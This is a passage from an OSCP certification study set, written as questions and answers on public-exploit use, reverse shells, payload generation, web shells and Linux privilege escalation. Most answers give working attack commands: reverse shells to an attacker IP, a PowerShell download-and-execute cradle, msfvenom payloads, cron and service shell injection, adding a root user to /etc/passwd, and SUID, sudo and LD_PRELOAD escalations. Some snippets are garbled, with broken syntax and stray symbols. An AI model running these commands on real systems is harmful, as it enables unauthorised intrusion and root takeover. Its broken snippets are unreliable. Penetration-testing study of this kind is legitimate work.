Searchsploit is the command-line interface to ExploitDB — OSCP's primary exploit research tool. Commands: 'searchsploit apache 2.4.49' (search by software and version), 'searchsploit -w apache 2.4.49' (show web URLs), 'searchsploit -m 50383' (copy exploit to current directory), 'searchsploit -x 50383' (examine exploit without copying), 'searchsploit --update' (update database). Workflow: Nmap finds Apache 2.4.49 → 'searchsploit apache 2.4.49' → finds CVE-2021-41773 path traversal/RCE → 'searchsploit -m 50383' → read exploit comments for usage → test against target. Always read exploit code before running — understand what it does, modify if needed.

Q45 QUESTION

What is Metasploit usage in OSCP exam?

ANSWER

Metasploit is LIMITED in OSCP exam — only allowed on ONE machine. Choose wisely: save Metasploit for the hardest machine or buffer overflow. Msfconsole workflow: 'search [vulnerability]' → 'use [module path]' → 'show options' → 'set RHOSTS [target]' → 'set PAYLOAD [payload]' → 'set LHOST [attacker IP]' → 'run'. Key modules for OSCP: exploit/multi/handler (catch reverse shells), exploit/windows/smb/ms17_010_eternalblue, exploit/multi/http/struts2_content_type_classloader, post/multi/recon/local_exploit_suggester (privilege escalation suggestions). Meterpreter: run post modules, hashdump, download files, migrate processes. Background: Ctrl+Z to background, 'sessions -l' to list, 'sessions -i [id]' to resume.

Q46 QUESTION

What is a reverse shell and its types?

ANSWER

Reverse shell: target connects back to attacker's listener — attacker does NOT initiate. Preferred in OSCP — firewalls rarely block outbound connections. Bind shell: attacker connects to target — firewall usually blocks inbound. Common reverse shells: Bash: 'bash -i && /dev/tcp/192.168.x.x/4444 0>&1'. Python: 'python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"I P\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\", \"-i\"]);\"'. PHP: '& /dev/tcp/IP/4444 0>&1\\\";?>'. PowerShell: various one-liners from revshells.com. Listener: 'rlwrap nc -lvnp 4444' (rlwrap adds command history).

Q47 QUESTION

What is shell upgrading in OSCP?

ANSWER

Raw Netcat shells have limitations — no tab completion, no arrow keys, job control broken, Ctrl+C kills shell. Python PTY upgrade: (1) On target: 'python3 -c "import pty;pty.spawn(\"/bin/bash\")\"'; (2) Ctrl+Z to background; (3) On attacker: 'stty raw -echo; fg'; (4) Press Enter twice; (5) 'export TERM=xterm'. Now: full TTY — tab completion, arrow keys, Ctrl+C works, Vim works. Alternative: use 'socat' for full TTY immediately — 'socat file:`tty`,raw,echo=0 tcp-listen:4444' on attacker, 'socat exec:bash,pty,stderr,setsid,sigint,sane tcp:IP:4444' on target. OSCP lesson: always upgrade shell immediately after catching — makes post-exploitation much more efficient.

Q48 QUESTION

What is msfvenom payload generation for OSCP?

ANSWER

Msfvenom creates standalone payloads without Metasploit handler (but can use multi/handler to catch). Common payloads: Windows x64 reverse shell: 'msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe'. Linux: 'msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf'. PHP webshell: 'msfvenom -p php/reverse_php LHOST=IP LPORT=4444 -f raw -o shell.php'. ASP.NET: 'msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f aspx -o shell.aspx'. Staged vs stageless: 'shell_reverse_tcp' = stageless (self-contained), 'shell/reverse_tcp' = staged (downloads stage from Metasploit). Use stageless when possible — doesn't require Metasploit listener.

Q49 QUESTION

What is exploit modification in OSCP?

ANSWER

OSCP often requires modifying public exploits to work against targets. Common modifications: (1) Change RHOST/RPORT variables; (2) Update payload — replace reverse shell IP/port; (3) Fix Python 2↔3 compatibility (print statements, urllib); (4) Add authentication credentials discovered during enumeration; (5) Adjust buffer sizes for specific software version; (6) Remove OS-specific assumptions. Example: Python 2 exploit needs Python 3 fix: 'print "something"' → 'print("something")', 'urllib.urlopen' → 'urllib.request.urlopen'. Run exploit with debug: add 'print' statements to see what's happening. Binary exploits: verify architecture matches target (x86 vs x64), adjust offset if needed.

Q50 QUESTION

What is the OSCP approach to web application exploitation?

ANSWER

Web application exploitation order: (1) Identify all input fields — forms, URL parameters, cookies, headers; (2) Test for SQL injection (manual quote test, sqlmap); (3) Test for file upload — allowed extensions, content-type bypass; (4) Test for LFI/RFI — path traversal; (5) Test for command injection — OS commands in input; (6) Check for known CMS vulnerabilities (wpscan, searchsploit); (7) Review source code if available — hardcoded credentials, commented-out paths. File upload to RCE path: find upload → upload PHP webshell → find where file is stored → trigger webshell. Example webshell: " — access via 'http://target/uploads/shell.php?cmd=id'.

Q51 QUESTION

What is client-side exploitation in OSCP?

ANSWER

Client-side attacks exploit software on the client machine rather than server. Techniques: Malicious documents (macro-enabled Word/Excel, PDF exploits), HTML application (HTA files), browser exploits. OSCP HTA attack: create malicious .hta file → embed in HTML → send link → user opens → code executes. Malicious macro: VBA macro in Word document downloads and executes payload. Example HTA payload: 'Set oShell = CreateObject("WScript.Shell"); oShell.Run "powershell -c IEX(New-Object Net.WebClient).DownloadString(http://IP/shell.ps1)". OSCP context: client-side attacks used when direct server access is not possible — simulates phishing scenario.

Q52 QUESTION

What is cross-compilation for OSCP?

ANSWER

Cross-compilation compiles exploit code on your attack machine for the target platform. Why needed: compiled exploit from Kali for Windows 32-bit, Windows 64-bit, or Linux. Commands: Windows 32-bit from Linux: 'i686-w64-mingw32-gcc exploit.c -o exploit.exe'. Windows 64-bit: 'x86_64-w64-mingw32-gcc exploit.c -o exploit64.exe'. With libraries: 'i686-w64-mingw32-gcc exploit.c -lws2_32 -o exploit.exe' (include Winsock library). Python exploit compilation not needed — run directly: 'python3 exploit.py'. Example: Found public Windows privilege escalation exploit in C ▯ compile on Kali for Windows x64 target: 'x86_64-w64-mingw32-gcc privesc.c -o privesc.exe' ▯ transfer to target ▯ execute ▯ SYSTEM.

Q53 QUESTION

What is file transfer in OSCP?

ANSWER

Transferring files between attacker and target is a core OSCP skill. Linux targets: Python HTTP server: 'python3 -m http.server 80' on attacker, 'wget http://IP/file' or 'curl -o file http://IP/file' on target. Windows targets: PowerShell download: 'Invoke-WebRequest -Uri http://IP/file -OutFile C:\Windows\Temp\file.exe' or '(New-Object System.Net.WebClient).DownloadFile("http://IP/file","C:\Windows\Temp\file.exe")'. Certutil: 'certutil -urlcache -split -f http://IP/file file.exe'. SMB share: 'impacket-smbserver share . -smb2support -username user -password pass' on attacker, '\\IP\share\file.exe' on target. Base64 encoding via clipboard: encode file ▯ paste in shell ▯ decode on target.

Q54 QUESTION

What is the OSCP exploit research methodology?

ANSWER

Exploit research order: (1) Note exact software version from Nmap/banner: 'OpenSSH 7.2p2 Ubuntu 4ubuntu2.8'; (2) searchsploit: 'searchsploit openssh 7.2'; (3) Google: 'OpenSSH 7.2p2 exploit CVE'; (4) NVD/CVE database; (5) GitHub — search 'CVE-XXXX-XXXX PoC'; (6) PacketStorm Security; (7) Rapid7 blog; (8) Consider chaining — maybe version doesn't have direct RCE but has info disclosure that enables another attack. Read exploit comments carefully — note prerequisites, required configuration, expected output. Test in lab before exam if possible. Example: Nmap shows 'IIS 10.0' — not directly exploitable — but also shows 'WebDAV enabled' — searchsploit 'iis webdav' — finds WebDAV upload exploit — combine findings.

Q55 QUESTION

What is the OSCP mindset for exploitation?

ANSWER

OSCP exploitation mindset: (1) Enumerate first, exploit second — never skip enumeration; (2) Manual before automated — understand what you're doing; (3) Think like the developer — what mistakes did they make?; (4) Check default credentials before complex exploits; (5) Look for credentials everywhere — config files, history files, environment variables, database files; (6) If one method fails, try the next — multiple attack vectors; (7) Version numbers are everything — always determine exact version. Common quick wins: default credentials (admin/admin, admin/password), outdated CMS with known RCE, anonymous FTP/SMB with sensitive files, writable web directories for webshell upload, exposed .git repository with credentials.

Q56 QUESTION

What is a web shell and management in OSCP?

ANSWER

Web shell is a script uploaded to web server providing command execution. Types: PHP ("), ASP (<%eval request("cmd")%>), ASPX, JSP. Simple PHP: GET parameter cmd. Obfuscated PHP: " — evades simple WAF. b374k webshell: feature-rich PHP shell with file manager, terminal, database. PentestMonkey PHP reverse shell: auto-connects back — 'php-reverse-shell.php' (included in Kali). Upload methods: file upload form, WebDAV PUT, FTP upload, SMB share, database INTO OUTFILE. Example: Upload PentestMonkey reverse shell ▢ change IP/port ▢ start listener ▢ navigate to uploaded URL ▢ full interactive shell without URL parameters.

Q57 QUESTION

What is privilege escalation via exploiting SUID scripts that call external programs?

ANSWER

SUID shell scripts that call external programs without full paths are exploitable via PATH manipulation. Example: SUID script contains 'backup_files' (calls backup command without /usr/bin/backup). Exploit: 'echo /bin/bash > /tmp/backup' ▢ 'chmod 755 /tmp/backup' ▢ 'export PATH=/tmp:\$PATH' ▢ run SUID script ▢ /tmp/backup executes as root ▢ root shell. Detection: 'cat /path/to/suid_script' — read the script content. Often overlooked: SUID Python scripts calling subprocess.Popen without full path, SUID Perl scripts using system(), SUID C programs calling system() with relative command. Always read SUID binary/script content before exploiting — understand what it does and what paths it uses.

Q58 QUESTION

What is responder for credential capture?

ANSWER

Responder answers LLMNR/NBT-NS/mDNS broadcasts to capture NTLMv2 hashes. Setup: 'responder -I eth0 -wf'. Operation: Windows machine can't find 'fileserv' via DNS ▢ broadcasts LLMNR query ▢ Responder answers 'I am fileserv' ▢ victim sends NTLMv2 hash for auth. Captured hashes: saved to /usr/share/responder/logs/. Crack offline: 'hashcat -m 5600 hashes.txt rockyou.txt' (NTLMv2 = mode 5600). OSCP use: run during initial enumeration, may capture credentials from other users on the network. NTLM relay: disable SMB/HTTP in Responder.conf ▢ use ntlmrelayx instead of cracking. Example: Responder captures 'john::CORP:...[NTLMv2 hash]' in 5 minutes ▢ Hashcat cracks 'john:Summer2019' ▢ spray credentials ▢ domain user access.

Q59 QUESTION

What is the OSCP approach to outdated software?

ANSWER

Outdated software exploitation methodology: Step 1 — identify exact version: Nmap service scan, HTTP headers, application banners, 'About' pages, README files. Step 2 — find exploits: 'searchsploit [product] [version]', Google '[product] [version] exploit CVE', NVD search, rapid7 vulnerability DB. Step 3 — assess exploitability: is PoC available? Does it match your target OS? Does it require authentication (do you have creds)? Step 4 — test in controlled environment if possible. Step 5 — modify and execute. Version examples: 'OpenSSH 7.7' — CVE-2018-15473 username enumeration, 'ProFTPD 1.3.3c' — backdoor (port 6200), 'vsftpd 2.3.4' — backdoor (smile in username triggers port 6200 shell).

Q60 QUESTION

What is a staged vs stageless payload in OSCP?

ANSWER

Staged payload: two-part — small stager sent first (downloads second stage from Metasploit), smaller initial payload. Format: 'windows/x64/meterpreter/reverse_tcp' (slash before reverse). Requires Metasploit multi/handler running to serve stage. Stageless payload: complete payload in one piece — no second download needed. Format: 'windows/x64/meterpreter_reverse_tcp' (underscore) or 'windows/x64/shell_reverse_tcp'. OSCP exam: use stageless payloads for non-Metasploit catches — can use nc -lvnp to catch shell_reverse_tcp. Use staged only when using Metasploit multi/handler. Example: msfvenom stageless: 'msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe' — catch with 'nc -lvnp 4444'. No Metasploit needed.

Q61 QUESTION

What is the OSCP approach to manual exploitation?

ANSWER

Manual exploitation without Metasploit is required for most OSCP machines. Process: find exploit on ExploitDB or GitHub, read code completely before running, understand prerequisites and expected behavior, make required modifications (IP/port, credentials, target-specific parameters), test connection to target, execute exploit, catch reverse shell. Modification checklist: change LHOST/LPORT in payload, change RHOST/RPORT for target, fix Python 2 syntax if needed (print statements, urllib), add discovered credentials if authenticated exploit, adjust buffer sizes if BOF. Debug mode: add print statements to track execution flow when exploit does not work. Example: searchsploit finds exploit.py for target service, read shows Python 2, convert urllib.urlopen to urllib.request.urlopen and print statements to print() calls, change IP and port variables, run, catch shell. Manual exploitation demonstrates actual skill vs automated tools.

Q62 QUESTION

What is the OSCP approach to web shell deployment?

ANSWER

Web shell deployment strategy for different environments: PHP servers: upload shell.php or use .php5/.phtml extensions if .php blocked. ASP.NET IIS: upload shell.aspx. JSP Tomcat: deploy WAR file containing JSP shell. CGI servers: upload .pl Perl or .cgi scripts. File inclusion to shell: if LFI found, inject PHP into log file then include it. Upload location discovery: check source for form action URL, check HTTP response Location header after upload, check common paths /uploads/ /images/ /files/ /media/ /tmp/, use gobuster to find upload directory. Content-type bypass: Burp Suite intercept, change Content-Type from application/php to image/jpeg. Example: Upload form rejects .php extension, try .php5, .phtml, .phar — .phar accepted, upload "named as shell.phar, gobuster finds /userfiles/shell.phar, command execution confirmed via ?c=id.

Q63 QUESTION

What is cross-platform payload generation in OSCP?

ANSWER

Generating payloads for different target architectures and operating systems: Windows x64: 'msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o win64.exe'. Windows x86: 'msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o win32.exe'. Linux x64 ELF: 'msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o linux64'. Java WAR: 'msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war -o shell.war'. PHP raw: 'msfvenom -p php/reverse_php LHOST=IP LPORT=4444 -f raw -o shell.php'. Python: 'msfvenom -p cmd/unix/reverse_python LHOST=IP LPORT=4444 -f raw'. Architecture detection: check Nmap OS detection, file command output if binary uploaded, uname -m on Linux. Always match architecture — x86 payload on x64 system may fail silently. Use Netcat listener for shell_reverse_tcp, Metasploit handler only needed for Meterpreter payloads.

Q64 QUESTION

What is CVE research methodology for public exploits in OSCP?

ANSWER

CVE research workflow: Step 1 — collect exact version strings from every enumeration source (Nmap -sV, banner grab, HTTP headers, application About pages, README files). Step 2 — searchsploit: 'searchsploit software_name version_number' — try multiple variations of the name. Step 3 — GitHub: search 'CVE-YEAR-NUMBER exploit' or 'software version exploit'. Step 4 — NVD at nvd.nist.gov — search by software name, check CVE list for versions. Step 5 — Google: 'software version exploit site:github.com' or 'software version RCE POC'. Evaluate exploit before using: read all comments and requirements, check if authenticated or unauthenticated, verify OS compatibility, test in lab if possible. Modification needed: change IP/port, Python 2 to 3 conversion, add credentials. Common mistake: trying exploit for wrong version — be exact. Example: service banner shows 'Rejetto HFS 2.3b', searchsploit 'hfs 2.3' finds multiple results, pick unauthenticated RCE, modify LHOST/LPORT, run, shell.

4 Linux Privilege Escalation

21 Qs

Q65 QUESTION

What is Linux privilege escalation methodology in OSCP?

ANSWER

Linux PrivEsc methodology: (1) Kernel exploits — check kernel version against exploit-db; (2) SUID/SGID binaries — find and abuse with GTFOBins; (3) Sudo permissions — check 'sudo -l' and GTFOBins for allowed commands; (4) Writable cron jobs — cron running scripts you can modify; (5) Writable PATH — hijack commands; (6) Weak file permissions — /etc/passwd writable, /etc/shadow readable; (7) Services running as root — exploitable local services; (8) NFS no_root_squash; (9) Capabilities — 'getcap -r / 2>/dev/null'; (10) Environment variables — LD_PRELOAD abuse. Tools: LinPEAS (automated), linux-exploit-suggester, pspy (spy on processes without root).

Q66 QUESTION

What is SUID exploitation in Linux?

ANSWER

SUID (Set User ID) bit runs a program with the file owner's permissions regardless of who runs it. Find SUID files: 'find / -perm -u=s -type f 2>/dev/null'. GTFOBins (gtfobins.github.io) documents SUID exploitation for each binary. Examples: '/usr/bin/find' has SUID □ 'find . -exec /bin/bash -p \;' □ root bash. '/usr/bin/vim' SUID □ '!/bin/bash -p' in vim □ root shell. '/bin/cp' SUID □ copy /etc/passwd to /tmp, add root user, copy back. '/usr/bin/python' SUID □ 'python -c "import os;os.setuid(0);os.system(\"/bin/bash\")\"'. Always check GTFOBins for each SUID binary found — vast majority of common binaries have documented escapes.

Q67 QUESTION

What is sudo exploitation in Linux?

ANSWER

Sudo allows running commands as another user. Check: 'sudo -l' — lists allowed commands. Scenarios: 'NOPASSWD: ALL' — run anything as root. 'NOPASSWD: /usr/bin/vim' — GTFOBins vim escape. 'NOPASSWD: /usr/bin/find' — 'sudo find . -exec /bin/bash \;'. 'NOPASSWD: /usr/bin/python3 /home/user/script.py' — if script.py writable: add reverse shell to it. 'NOPASSWD: /usr/bin/zip' — 'sudo zip /tmp/test.zip /etc/passwd -T --unzip-command="bash -c /bin/bash"'. Sudo version vulnerability: CVE-2021-3156 (Heap overflow in sudo — Baron Samedit), CVE-2019-14287 (sudo -u#-1 becomes root). Example: 'sudo -l' shows '(ALL) NOPASSWD: /usr/bin/nano' □ 'sudo nano /etc/passwd' □ Ctrl+R, Ctrl+X to run command □ root shell.

Q68 QUESTION

What is cron job exploitation?

ANSWER

Cron jobs run scheduled tasks — if running as root and writable, escalate to root. Check cron: 'cat /etc/crontab', 'ls -la /etc/cron*', 'crontab -l', pspy (watch processes without root). Attack: Script in cron is writable □ replace with reverse shell □ wait for execution. Path hijacking in cron: cron uses PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin — if cron calls 'backup' without full path and /tmp is in PATH □ create /tmp/backup with reverse shell □ cron executes it as root. Example: /etc/crontab shows '* * * * * root /home/user/cleanup.sh' □ 'ls -la /home/user/cleanup.sh' □ writable by user □ 'echo "bash -i >& /dev/tcp/IP/4444 0>&1" > /home/user/cleanup.sh' □ wait 1 minute □ root shell.

Q69 QUESTION

What is the /etc/passwd writable exploit?

ANSWER

/etc/passwd readable by everyone, but if writable by non-root — add new root user. Format: username:password_hash:UID:GID:comment:home:shell. Generate password hash: 'openssl passwd -1 -salt hacker password123' □ '\$1\$hacker\$...' hash. Add to /etc/passwd: 'echo "hacker:\\$1\\$hacker\\$hash:0:0:root:/root:/bin/bash" >> /etc/passwd'. Now 'su hacker' with password123 □ UID 0 = root. Alternative: replace 'x' in root line (password placeholder) with hash □ root has known password. Example: 'ls -la /etc/passwd' □ '-rw-rw-rw- 1 root root' (world-writable!) □ create new root user □ instant root access without finding any vulnerability.

Q70 QUESTION

What are Linux capabilities and their exploitation?

ANSWER

Linux capabilities grant specific root privileges without full root access. Find capabilities: 'getcap -r / 2>/dev/null'. Dangerous capabilities: cap_setuid (set UID to 0 = root), cap_net_raw (raw network access), cap_dac_override (bypass file permission checks). Exploit cap_setuid: if Python has cap_setuid □ 'python3 -c "import os;os.setuid(0);os.system("/bin/bash")" □ root. Exploit cap_setuid on Perl: 'perl -e "use POSIX qw(setuid);POSIX::setuid(0);exec "/bin/sh";"'. Example: 'getcap -r / 2>/dev/null' returns '/usr/bin/python3.8 = cap_setuid+ep' □ Python can set its UID to root □ one-liner □ root shell. GTFOBins also documents capabilities exploitation for each binary.

Q71 QUESTION

What is LD_PRELOAD privilege escalation?

ANSWER

LD_PRELOAD environment variable loads a shared library before all others — if preserved in sudo, inject malicious library. Prerequisite: 'sudo -l' shows 'env_keep+=LD_PRELOAD'. Create malicious library: 'exploit.c: #include<n#include<n#include<nvoid _init(){unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/bash");}'. Compile: 'gcc -fPIC -shared -o /tmp/exploit.so exploit.c -nostartfiles'. Execute: 'sudo LD_PRELOAD=/tmp/exploit.so [any allowed sudo program]' □ root bash spawns before actual program. Example: sudo -l shows 'env_keep+=LD_PRELOAD' and 'NOPASSWD: /usr/bin/apache2' □ compile exploit.so □ 'sudo LD_PRELOAD=/tmp/exploit.so apache2' □ root shell.

Q72 QUESTION

What is path hijacking in Linux privilege escalation?

ANSWER

PATH hijacking abuses programs that call other programs without full paths. Find: check cron jobs, SUID scripts, sudo programs that call relative commands. Example: SUID script calls 'backup' without full path □ check PATH variable □ if /tmp is in PATH or PATH is writable □ create /tmp/backup with reverse shell □ SUID script executes /tmp/backup as root. Writable PATH directory: if user can write to /usr/local/bin and root cron calls 'backup' □ create /usr/local/bin/backup malicious script. Also check: scripts calling 'cat', 'ls', 'id', etc. without full path. Example: SUID binary 'system("date")' — create /tmp/date as reverse shell script, 'export PATH=/tmp:\$PATH', run SUID binary □ /tmp/date runs as root.

Q73 QUESTION

What is kernel exploit in Linux?

ANSWER

Kernel exploits elevate privileges by exploiting vulnerabilities in the Linux kernel. Find kernel version: 'uname -r' (e.g., 4.4.0-116-generic). Research: 'searchsploit linux kernel 4.4', linux-exploit-suggester ('wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh'). Famous exploits: DirtyCow (CVE-2016-5195 — kernel 2.6.22-4.8.3 — write to read-only memory), PwnKit (CVE-2021-4034 — polkit pkexec all Linux), DirtyPipe (CVE-2022-0847 — kernel 5.8-5.16.11). Compile and transfer: gcc exploit.c -o exploit □ transfer to target □ chmod +x □ run. Example: uname -r shows 4.4.0-92-generic □ linux-exploit-suggester suggests DirtyCow □ download PoC □ compile □ run □ root shell via file overwrite.

Q74 QUESTION

What is LinPEAS and how to use it?

ANSWER

LinPEAS (Linux Privilege Escalation Awesome Script) automates PrivEsc enumeration. Download: 'curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh' or transfer via HTTP server. Output: color-coded — red/yellow = high probability PrivEsc, yellow = interesting, white = information. Sections: system info, users, sudo, SUID, cron, network, services, files. Run: 'chmod +x linpeas.sh && ./linpeas.sh | tee linpeas.txt'. Review output systematically — don't ignore yellow findings. Supplement with: pspy (watch cron and processes), linux-exploit-suggester (kernel CVEs), manual checks for anything suspicious. OSCP note: LinPEAS is allowed — use it, but also understand what it's checking — exam may require manual exploitation.

Q75 QUESTION

What is writable service exploitation in Linux?

ANSWER

Services running as root with writable configuration or binary □ escalate. Find services: 'systemctl list-units --type=service', ps aux (running processes). Check writable: 'ls -la /etc/systemd/system/*.service', 'ls -la /path/to/service/binary'. Writable service file: modify ExecStart to reverse shell □ reload daemon □ restart service. Writable binary: replace binary with reverse shell script. Example: 'find /etc/systemd -writable' finds /etc/systemd/system/backup.service □ edit ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1' □ 'systemctl daemon-reload && systemctl restart backup.service' □ root reverse shell. Service binary writable: replace /usr/local/bin/backup with shell script □ wait for service restart or trigger.

Q76 QUESTION

What is password hunting in Linux?

ANSWER

Finding passwords and credentials on Linux: config files ('find / -name "*.conf" 2>/dev/null | xargs grep -l password'), history files ('cat ~/.bash_history', 'cat ~/.mysql_history'), env variables ('env | grep -i pass'), world-readable files, database files (find .db, .sqlite files), application config (/var/www/html/config.php, database credentials), private SSH keys ('find / -name id_rsa 2>/dev/null'). Common paths: /var/www/html/wp-config.php (WordPress DB credentials), /etc/network/interfaces (sometimes credentials), ~/.ssh/id_rsa, /opt/app/config.properties, .env files. Example: 'grep -r password /var/www/ 2>/dev/null' finds wp-config.php with MySQL root password □ 'mysql -u root -p' □ read other databases □ user table with password hash □ crack □ SSH as root user.

Q77 QUESTION

What is GTFOBins and how to use it in OSCP?

ANSWER

GTFOBins (gtfobins.github.io) documents Unix binary exploitation for PrivEsc. Categories: SUID (run binary with SUID bit set), sudo (binary in sudoers), capabilities, shell (spawn shell from restricted environments), file read (read arbitrary files), file write (write arbitrary files). Usage: find SUID binary or sudo permission □ search binary name on GTFOBins □ copy exact command. Examples: 'sudo vim -c "!!/bin/sh"' (vim sudo), 'sudo find . -exec /bin/sh \;' (find sudo), '/bin/bash -p' (bash SUID — -p preserves effective UID). Trick: some binaries not on GTFOBins still have escapes — research individually. Example: 'sudo -l' shows '(root) NOPASSWD: /usr/bin/awk' □ GTFOBins awk sudo: 'sudo awk "BEGIN {system("/bin/sh")}"' □ root shell.

Q78 QUESTION

What is linpeas output interpretation?

ANSWER

LinPEAS output key sections to focus on: RED findings (critical — exploit immediately): SelfImpersonatePrivilege, SUID binaries on GTFOBins, sudo ALL, writable /etc/passwd, world-writable cron scripts, kernel exploit suggestions. YELLOW findings (investigate): interesting SUID binaries, sudo specific commands, readable /etc/shadow, writable files in root-run paths. Workflow: run linpeas □ review RED first □ exploit best vector □ if none work, review YELLOW □ cross-reference with manual checks. Pay attention to: SSH keys found, config files with passwords (linpeas greps these), listening local services, running processes as root. Download linpeas: 'curl -L <https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh> -o linpeas.sh'.

Q79 QUESTION

What is pspy tool in OSCP?

ANSWER

pspy monitors Linux processes without root access — sees cron jobs, scripts run by other users, system processes. Download: transfer pspy64 (or pspy32 for 32-bit) via HTTP server. Run: 'chmod +x pspy64 && ./pspy64' — shows all processes with PID, PPID, user. Watch: cron jobs run every minute — see exactly what runs and when. Combination with writable scripts: pspy reveals '/bin/bash /opt/cleanup.sh' runs every minute as root □ check if writable □ inject payload □ wait. pspy also reveals: interesting environment variables, temporary files created then deleted (race condition opportunity), passwords passed as command arguments. Example: pspy shows 'root 1234 CMD curl http://intranet.local/backup.sh | bash' running every 5 minutes □ we control intranet.local via hosts file □ serve malicious backup.sh □ root shell.

Q80 QUESTION

What is the writable /etc/shadow exploitation?

ANSWER

If /etc/shadow is world-readable, extract and crack hashes. If world-writable (rare), replace root hash. Check: 'ls -la /etc/shadow'. World-readable: 'cat /etc/shadow' □ copy to Kali □ 'john shadow --wordlist=rockyou.txt'. Format: 'root:\$6\$salt\$hash:date:min:max:warn:inactive:expire:'. World-writable: generate new hash □ 'openssl passwd -6 -salt salt newpassword' □ replace root hash in /etc/shadow □ 'su root' with new password □ root. Even better: add new user to /etc/passwd with UID 0 and add hash to /etc/shadow. Example: 'ls -la /etc/shadow' shows '-rw-r--rw- 1 root shadow' (world-writable) □ generate hash for 'hacker123' □ replace root's hash □ 'su root' □ password 'hacker123' □ root shell.

Q81 QUESTION

What is race condition exploitation in Linux PrivEsc?

ANSWER

Race conditions exploit timing window between operations. TOCTOU (Time-of-Check Time-of-Use): program checks file, attacker replaces file, program uses replaced file. Example: SUID program does: check if `/tmp/file` is owned by root $\square$ open and execute `/tmp/file`. Attack: symlink `/tmp/file` to `/etc/passwd` between check and execute — if timing right, program opens `/etc/passwd` as root and executes it. Cron script creates `/tmp/backup` $\square$ we create `/tmp/backup` symlink to `/etc/shadow` before cron creates it $\square$ cron writes to `/etc/shadow` (root writes = world-readable now). Tools: raceguess, custom shell scripts with while loop. Less common in OSCP but appears in real environments. Focus: understand concept, pspy to find timing-sensitive operations.

Q82 QUESTION

What is the `/etc/crontab` format and exploitation?

ANSWER

Cron job format: minute(0-59) hour(0-23) day(1-31) month(1-12) weekday(0-7) user command. Check all cron locations: `/etc/crontab`, `/etc/cron.d/`, `/etc/cron.hourly/`, `/etc/cron.daily/`, `/etc/cron.weekly/`, `/etc/cron.monthly/`, `/var/spool/cron/crontabs/`. Attack paths: (1) Writable script in cron — append reverse shell to existing script. (2) Missing script in cron — create the missing script. (3) Wildcard expansion — tar, chown, chmod with wildcard in cron job allow argument injection. (4) PATH hijacking — cron uses custom PATH, writable directory in PATH. Wildcard attack example: cron runs `'tar czf /backup/files.tar.gz /opt/files/*'` — create files named `'--checkpoint=1'`, `'--checkpoint-action=exec=bash shell.sh'` in `/opt/files/` — tar interprets them as flags — executes `shell.sh` as root.

Q83 QUESTION

What is SUID bash exploitation?

ANSWER

If `/bin/bash` has SUID bit set, any user can get root shell. Check: `'ls -la /bin/bash'` — if output shows `'-rwsr-xr-x'`, SUID is set. Exploit: `'/bin/bash -p'` — the `-p` flag preserves effective UID (root). Without `-p`: bash drops SUID privileges for security. Verify root: `'whoami'` returns root, `'id'` shows `uid=1000 euid=0`. Create SUID bash as PrivEsc technique: if you have write access via another PrivEsc method, `'cp /bin/bash /tmp/bash && chmod +s /tmp/bash'` then `'/tmp/bash -p'`. Find SUID bash variations: `'find / -name bash -perm -4000 2>/dev/null'`. Also check: `/bin/sh`, `/usr/bin/bash`, `/usr/local/bin/bash` with SUID. Example LinPEAS output: `'/bin/bash has SUID bit'` in red — immediately run `'/bin/bash -p'` — root shell in one command.

Q84 QUESTION

What is `/etc/passwd` user addition for root access?

ANSWER

`/etc/passwd` is world-readable but if world-writable (misconfiguration), add a root user. Format per line: `username:password:UID:GID:comment:home:shell`. Password field: `'x'` means check `/etc/shadow`. Replace with actual hash for direct authentication. Generate hash: `'openssl passwd -1 -salt xyz password123'` produces `'$1$xyz$hash'`. New root user line: `'hacker:$1$xyz$generatedHash:0:0:root:/root:/bin/bash'`. Append: `'echo "hacker:$1$xyz$hash:0:0:root:/root:/bin/bash" >> /etc/passwd'`. Switch: `'su hacker'` with password123 — UID 0 = root. Alternatively: remove `'x'` from existing root line, add hash directly — `'root:$1$xyz$hash:0:0:root:/root:/bin/bash'`. Works even if `/etc/shadow` exists — `passwd` password field takes priority if non-x. Example: `'ls -la /etc/passwd'` shows `-rw-rw-rw-` — add new root user — instant root without finding any actual vulnerability.

Q85 QUESTION

What to do when an exploit fails in OSCP?

ANSWER

Troubleshooting failed exploits: Step 1 – verify version match exactly. Step 2 – read error message carefully – connection refused means wrong port or service not running, import error means missing Python library. Step 3 – check prerequisites in exploit comments – needs specific config, auth, or service state. Step 4 – verify listener running before exploit sends payload. Step 5 – architecture check – x86 payload on x64 fails silently. Step 6 – bad character issue in BOF – recheck bad char analysis. Step 7 – firewall blocking callback – change LPORT to 443 or 80 (usually allowed outbound). Step 8 – try different payload type – windows/x64 vs windows, stageless vs staged. Step 9 – search for alternative PoC for same CVE. Step 10 – move on and return later – fresh perspective helps. Document what you tried. 30-minute limit per attack vector in OSCP. If an approach seems correct but doesn't work after debugging, the service may be patched or config differs – pivot to next attack vector.

5 Windows Privilege Escalation

21 Qs

Q86 QUESTION

What is Windows privilege escalation methodology in OSCP?

ANSWER

